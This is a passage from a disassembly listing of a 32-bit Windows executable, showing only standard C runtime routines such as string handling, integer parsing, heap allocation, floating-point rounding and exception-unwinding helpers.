[edx] inc edx cmp al, [ecx] jnz short loc_413A14 inc ecx or al, al jz short loc_413A10 test edx, 2 jz short loc_4139E0 loc_413A38: ; CODE XREF: sub_4139D0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_413A14 or al, al jz short loc_413A10 cmp ah, [ecx+1] jnz short loc_413A14 or ah, ah jz short loc_413A10 add ecx, 2 jmp short loc_4139E0 sub_4139D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_413A60 proc near ; CODE XREF: seg000:00401250p ; sub_418DCD+7F8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_413A79 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_413A79: ; CODE XREF: sub_413A60+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_413A60 endp ; =============== S U B R O U T I N E ======================================= sub_413A94 proc near ; CODE XREF: sub_413B1F+4p ; sub_41C1F2+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_413A9C: ; CODE XREF: sub_413A94+34j cmp ds:dword_42D2FC, 1 jle short loc_413AB4 movzx eax, byte ptr [edi] push 8 push eax call sub_4165E6 pop ecx pop ecx jmp short loc_413AC3 ; --------------------------------------------------------------------------- loc_413AB4: ; CODE XREF: sub_413A94+Fj movzx eax, byte ptr [edi] mov ecx, ds:off_42D0F0 mov al, [ecx+eax*2] and eax, 8 loc_413AC3: ; CODE XREF: sub_413A94+1Ej test eax, eax jz short loc_413ACA inc edi jmp short loc_413A9C ; --------------------------------------------------------------------------- loc_413ACA: ; CODE XREF: sub_413A94+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_413ADA cmp esi, 2Bh jnz short loc_413ADE loc_413ADA: ; CODE XREF: sub_413A94+3Fj movzx esi, byte ptr [edi] inc edi loc_413ADE: ; CODE XREF: sub_413A94+44j xor ebx, ebx loc_413AE0: ; CODE XREF: sub_413A94+7Bj cmp ds:dword_42D2FC, 1 jle short loc_413AF5 push 4 push esi call sub_4165E6 pop ecx pop ecx jmp short loc_413B00 ; --------------------------------------------------------------------------- loc_413AF5: ; CODE XREF: sub_413A94+53j mov eax, ds:off_42D0F0 mov al, [eax+esi*2] and eax, 4 loc_413B00: ; CODE XREF: sub_413A94+5Fj test eax, eax jz short loc_413B11 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_413AE0 ; --------------------------------------------------------------------------- loc_413B11: ; CODE XREF: sub_413A94+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_413B1A neg eax loc_413B1A: ; CODE XREF: sub_413A94+82j pop edi pop esi pop ebp pop ebx retn sub_413A94 endp ; =============== S U B R O U T I N E ======================================= sub_413B1F proc near ; CODE XREF: sub_4013E9+12p ; sub_4013E9+1Dp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_413A94 pop ecx retn sub_413B1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413B2A proc near ; CODE XREF: seg000:00402036p ; seg000:004021D3p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_415DDC add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_413B69 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_413B76 ; --------------------------------------------------------------------------- loc_413B69: ; CODE XREF: sub_413B2A+35j lea eax, [ebp+var_20] push eax push 0 call sub_415CC7 pop ecx pop ecx loc_413B76: ; CODE XREF: sub_413B2A+3Dj mov eax, esi pop esi leave retn sub_413B2A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_413B80 proc near ; CODE XREF: seg000:00401EAEp ; seg000:00401ECEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_413BFA mov dh, [ecx+1] test dh, dh jz short loc_413BE7 loc_413B98: ; CODE XREF: sub_413B80+52j ; sub_413B80+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_413BBA test al, al jz short loc_413BB4 loc_413BA9: ; CODE XREF: sub_413B80+32j mov al, [esi] inc esi loc_413BAC: ; CODE XREF: sub_413B80+3Fj cmp al, dl jz short loc_413BBA test al, al jnz short loc_413BA9 loc_413BB4: ; CODE XREF: sub_413B80+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_413BBA: ; CODE XREF: sub_413B80+23j ; sub_413B80+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_413BAC lea edi, [esi-1] loc_413BC4: ; CODE XREF: sub_413B80+63j mov ah, [ecx+2] test ah, ah jz short loc_413BF3 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_413B98 mov al, [ecx+3] test al, al jz short loc_413BF3 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_413BC4 jmp short loc_413B98 ; --------------------------------------------------------------------------- loc_413BE7: ; CODE XREF: sub_413B80+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_415116 ; --------------------------------------------------------------------------- loc_413BF3: ; CODE XREF: sub_413B80+49j ; sub_413B80+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_413BFA: ; CODE XREF: sub_413B80+Fj mov eax, edi pop esi pop ebx pop edi retn sub_413B80 endp ; =============== S U B R O U T I N E ======================================= sub_413C00 proc near ; CODE XREF: seg000:004021AEp ; sub_403F31+7Cp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_413C15 or eax, 0FFFFFFFFh jmp short loc_413C4F ; --------------------------------------------------------------------------- loc_413C15: ; CODE XREF: sub_413C00+Ej test al, 83h jz short loc_413C4D push esi call sub_416774 push esi mov edi, eax call sub_41670E push dword ptr [esi+10h] call sub_41665B add esp, 0Ch test eax, eax jge short loc_413C3B or edi, 0FFFFFFFFh jmp short loc_413C4D ; --------------------------------------------------------------------------- loc_413C3B: ; CODE XREF: sub_413C00+34j mov eax, [esi+1Ch] test eax, eax jz short loc_413C4D push eax call sub_413ED3 and dword ptr [esi+1Ch], 0 pop ecx loc_413C4D: ; CODE XREF: sub_413C00+17j ; sub_413C00+39j ... mov eax, edi loc_413C4F: ; CODE XREF: sub_413C00+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_413C00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413C56 proc near ; CODE XREF: seg000:004021A8p ; seg000:0040DD5Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_416846 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_415DDC push [ebp+arg_0] mov edi, eax push esi call sub_4168D3 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_413C56 endp ; =============== S U B R O U T I N E ======================================= sub_413C88 proc near ; CODE XREF: sub_413CA8+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_416A80 test eax, eax jnz short loc_413C92 retn ; --------------------------------------------------------------------------- loc_413C92: ; CODE XREF: sub_413C88+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_416910 add esp, 10h retn sub_413C88 endp ; =============== S U B R O U T I N E ======================================= sub_413CA8 proc near ; CODE XREF: seg000:0040216Ep ; sub_403F31+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_413C88 add esp, 0Ch retn sub_413CA8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_413CC0 proc near ; CODE XREF: sub_403FCB+2BFp ; sub_407E52+75p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_413D31 sub_413CC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_413CD0 proc near ; CODE XREF: seg000:0040215Dp ; sub_4021FB+2ABp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_413CEC loc_413CDD: ; CODE XREF: sub_413CD0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_413D1F test ecx, 3 jnz short loc_413CDD loc_413CEC: ; CODE XREF: sub_413CD0+Bj ; sub_413CD0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_413CEC mov eax, [ecx-4] test al, al jz short loc_413D2E test ah, ah jz short loc_413D29 test eax, 0FF0000h jz short loc_413D24 test eax, 0FF000000h jz short loc_413D1F jmp short loc_413CEC ; --------------------------------------------------------------------------- loc_413D1F: ; CODE XREF: sub_413CD0+12j ; sub_413CD0+4Bj lea edi, [ecx-1] jmp short loc_413D31 ; --------------------------------------------------------------------------- loc_413D24: ; CODE XREF: sub_413CD0+44j lea edi, [ecx-2] jmp short loc_413D31 ; --------------------------------------------------------------------------- loc_413D29: ; CODE XREF: sub_413CD0+3Dj lea edi, [ecx-3] jmp short loc_413D31 ; --------------------------------------------------------------------------- loc_413D2E: ; CODE XREF: sub_413CD0+39j lea edi, [ecx-4] loc_413D31: ; CODE XREF: sub_413CC0+5j ; sub_413CD0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_413D56 loc_413D3D: ; CODE XREF: sub_413CD0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_413DA8 mov [edi], dl inc edi test ecx, 3 jnz short loc_413D3D jmp short loc_413D56 ; --------------------------------------------------------------------------- loc_413D51: ; CODE XREF: sub_413CD0+9Ej ; sub_413CD0+B8j mov [edi], edx add edi, 4 loc_413D56: ; CODE XREF: sub_413CD0+6Bj ; sub_413CD0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_413D51 test dl, dl jz short loc_413DA8 test dh, dh jz short loc_413D9F test edx, 0FF0000h jz short loc_413D92 test edx, 0FF000000h jz short loc_413D8A jmp short loc_413D51 ; --------------------------------------------------------------------------- loc_413D8A: ; CODE XREF: sub_413CD0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_413D92: ; CODE XREF: sub_413CD0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_413D9F: ; CODE XREF: sub_413CD0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_413DA8: ; CODE XREF: sub_413CD0+72j ; sub_413CD0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_413CD0 endp ; =============== S U B R O U T I N E ======================================= sub_413DB0 proc near ; CODE XREF: sub_4021FB+1A7p ; sub_4021FB:loc_4023B5p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_413DD0 loc_413DBC: ; CODE XREF: sub_413DB0+19j mov al, [ecx] inc ecx test al, al jz short loc_413E03 test ecx, 3 jnz short loc_413DBC add eax, 0 loc_413DD0: ; CODE XREF: sub_413DB0+Aj ; sub_413DB0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_413DD0 mov eax, [ecx-4] test al, al jz short loc_413E21 test ah, ah jz short loc_413E17 test eax, 0FF0000h jz short loc_413E0D test eax, 0FF000000h jz short loc_413E03 jmp short loc_413DD0 ; --------------------------------------------------------------------------- loc_413E03: ; CODE XREF: sub_413DB0+11j ; sub_413DB0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_413E0D: ; CODE XREF: sub_413DB0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_413E17: ; CODE XREF: sub_413DB0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_413E21: ; CODE XREF: sub_413DB0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_413DB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_413E30 proc near ; CODE XREF: seg000:004024E4p ; sub_403FCB+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_413E50 loc_413E3C: ; CODE XREF: sub_413E30+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_413E3C loc_413E50: ; CODE XREF: sub_413E30+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_413E30 endp ; =============== S U B R O U T I N E ======================================= sub_413E5F proc near ; CODE XREF: seg000:00402851p ; sub_402881+12p ... arg_0 = dword ptr 4 push ds:dword_45E864 push [esp+4+arg_0] call sub_413E71 pop ecx pop ecx retn sub_413E5F endp ; =============== S U B R O U T I N E ======================================= sub_413E71 proc near ; CODE XREF: sub_413E5F+Ap ; sub_414855+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_413E9A loc_413E78: ; CODE XREF: sub_413E71+27j push [esp+arg_0] call sub_413E9D test eax, eax pop ecx jnz short locret_413E9C cmp [esp+arg_4], eax jz short locret_413E9C push [esp+arg_0] call sub_416AF8 test eax, eax pop ecx jnz short loc_413E78 loc_413E9A: ; CODE XREF: sub_413E71+5j xor eax, eax locret_413E9C: ; CODE XREF: sub_413E71+13j ; sub_413E71+19j retn sub_413E71 endp ; =============== S U B R O U T I N E ======================================= sub_413E9D proc near ; CODE XREF: sub_413E71+Bp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] cmp esi, ds:dword_42D30C ja short loc_413EB5 push esi call sub_416EE3 test eax, eax pop ecx jnz short loc_413ED1 loc_413EB5: ; CODE XREF: sub_413E9D+Bj test esi, esi jnz short loc_413EBC push 1 pop esi loc_413EBC: ; CODE XREF: sub_413E9D+1Aj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push ds:dword_45FE60 call ds:dword_41F140 ; RtlAllocateHeap loc_413ED1: ; CODE XREF: sub_413E9D+16j pop esi retn sub_413E9D endp ; =============== S U B R O U T I N E ======================================= sub_413ED3 proc near ; CODE XREF: sub_4028D6+Ap ; sub_4028EF+7Bp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_413F00 push esi call sub_416B8D pop ecx test eax, eax push esi jz short loc_413EF2 push eax call sub_416BB8 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_413EF2: ; CODE XREF: sub_413ED3+13j push 0 push ds:dword_45FE60 call ds:dword_41F144 ; RtlFreeHeap loc_413F00: ; CODE XREF: sub_413ED3+7j pop esi retn sub_413ED3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_413F02(double) sub_413F02 proc near ; CODE XREF: sub_403007+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push ds:dword_42D0B0 call sub_417EB6 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_413F88 call sub_417D7E pop ecx test eax, eax pop ecx jle short loc_413F6B cmp eax, 2 jle short loc_413F5D cmp eax, 3 jnz short loc_413F6B fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_41768E add esp, 10h jmp short loc_413FCD ; --------------------------------------------------------------------------- loc_413F5D: ; CODE XREF: sub_413F02+3Fj push esi push ebx call sub_417EB6 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_413FCD ; --------------------------------------------------------------------------- loc_413F6B: ; CODE XREF: sub_413F02+3Aj ; sub_413F02+44j fld [ebp+arg_0] fadd ds:dbl_41F668 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_413FC5 ; --------------------------------------------------------------------------- loc_413F88: ; CODE XREF: sub_413F02+2Fj call sub_417D43 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_413FAB loc_413F9D: ; CODE XREF: sub_413F02+ACj push esi push ebx call sub_417EB6 fld [ebp+var_8] pop ecx pop ecx jmp short loc_413FCD ; --------------------------------------------------------------------------- loc_413FAB: ; CODE XREF: sub_413F02+99j test bl, 20h jnz short loc_413F9D fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_413FC5: ; CODE XREF: sub_413F02+84j call sub_4176E1 add esp, 1Ch loc_413FCD: ; CODE XREF: sub_413F02+59j ; sub_413F02+67j ... pop esi pop ebx leave retn sub_413F02 endp ; =============== S U B R O U T I N E ======================================= sub_413FD1 proc near ; CODE XREF: sub_41588A+9p ; DATA XREF: seg002:off_42D0BCo call sub_413FE9 call sub_417F7F mov ds:dword_45E7E4, eax call sub_417F2F fnclex retn sub_413FD1 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_413FE9 proc near ; CODE XREF: sub_413FD1p mov eax, offset sub_41836D mov ds:off_42D42C, offset loc_418002 mov ds:off_42D428, eax mov ds:off_42D430, offset sub_418068 mov ds:off_42D434, offset sub_417FA8 mov ds:off_42D438, offset loc_418050 mov ds:off_42D43C, eax retn sub_413FE9 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414024 proc near ; CODE XREF: sub_403007+1Bp ; sub_403007+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_414024 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41404B(double) sub_41404B proc near ; CODE XREF: sub_403053+82p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push ds:dword_42D0C8 call sub_417EB6 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_4140D1 call sub_417D7E pop ecx test eax, eax pop ecx jle short loc_4140B4 cmp eax, 2 jle short loc_4140A6 cmp eax, 3 jnz short loc_4140B4 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_41768E add esp, 10h jmp short loc_414116 ; --------------------------------------------------------------------------- loc_4140A6: ; CODE XREF: sub_41404B+3Fj push esi push ebx call sub_417EB6 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_414116 ; --------------------------------------------------------------------------- loc_4140B4: ; CODE XREF: sub_41404B+3Aj ; sub_41404B+44j fld [ebp+arg_0] fadd ds:dbl_41F668 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41410E ; --------------------------------------------------------------------------- loc_4140D1: ; CODE XREF: sub_41404B+2Fj call sub_417D43 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_4140F4 loc_4140E6: ; CODE XREF: sub_41404B+ACj push esi push ebx call sub_417EB6 fld [ebp+var_8] pop ecx pop ecx jmp short loc_414116 ; --------------------------------------------------------------------------- loc_4140F4: ; CODE XREF: sub_41404B+99j test bl, 20h jnz short loc_4140E6 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41410E: ; CODE XREF: sub_41404B+84j call sub_4176E1 add esp, 1Ch loc_414116: ; CODE XREF: sub_41404B+59j ; sub_41404B+67j ... pop esi pop ebx leave retn sub_41404B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41411A proc near ; CODE XREF: sub_4187DE+71p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41411A endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41414E proc near ; CODE XREF: sub_41898F+199p ; sub_418B53+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41414E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_414155 proc near ; CODE XREF: sub_41898F+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_414155 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41415C proc near ; CODE XREF: sub_41430E+5Cp ; sub_4187DE:loc_41880Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_414184 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_41E19C ; RtlUnwind loc_414184: ; DATA XREF: sub_41415C+11o mov eax, [ebp+arg_4] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_41415C endp ; --------------------------------------------------------------------------- loc_4141AB: ; CODE XREF: seg000:0041E2F8j ; seg000:0041E315j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_4183E3 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4141E1 proc near ; CODE XREF: sub_418859+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_414235 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_418BE0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_4141E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414235 proc near ; DATA XREF: sub_4141E1+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_4183E3 add esp, 20h pop ebp retn sub_414235 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41425A proc near ; CODE XREF: sub_418625+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41430E mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_4142E0 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call ds:dword_45E884 pop ecx pop ecx and [ebp+var_34], 0 loc_4142E0: ; DATA XREF: sub_41425A+3Co cmp [ebp+var_4], 0 jz short loc_4142FD mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_414306 ; --------------------------------------------------------------------------- loc_4142FD: ; CODE XREF: sub_41425A+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_414306: ; CODE XREF: sub_41425A+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41425A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41430E proc near ; DATA XREF: sub_41425A+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_414331 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41437E ; --------------------------------------------------------------------------- loc_414331: ; CODE XREF: sub_41430E+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_4183E3 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41436F push [ebp+arg_0] push [ebp+arg_4] call sub_41415C loc_41436F: ; CODE XREF: sub_41430E+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41437E: ; CODE XREF: sub_41430E+21j pop edi pop esi pop ebx pop ebp retn sub_41430E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414383 proc near ; CODE XREF: sub_41847E+C6p ; sub_418625+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, 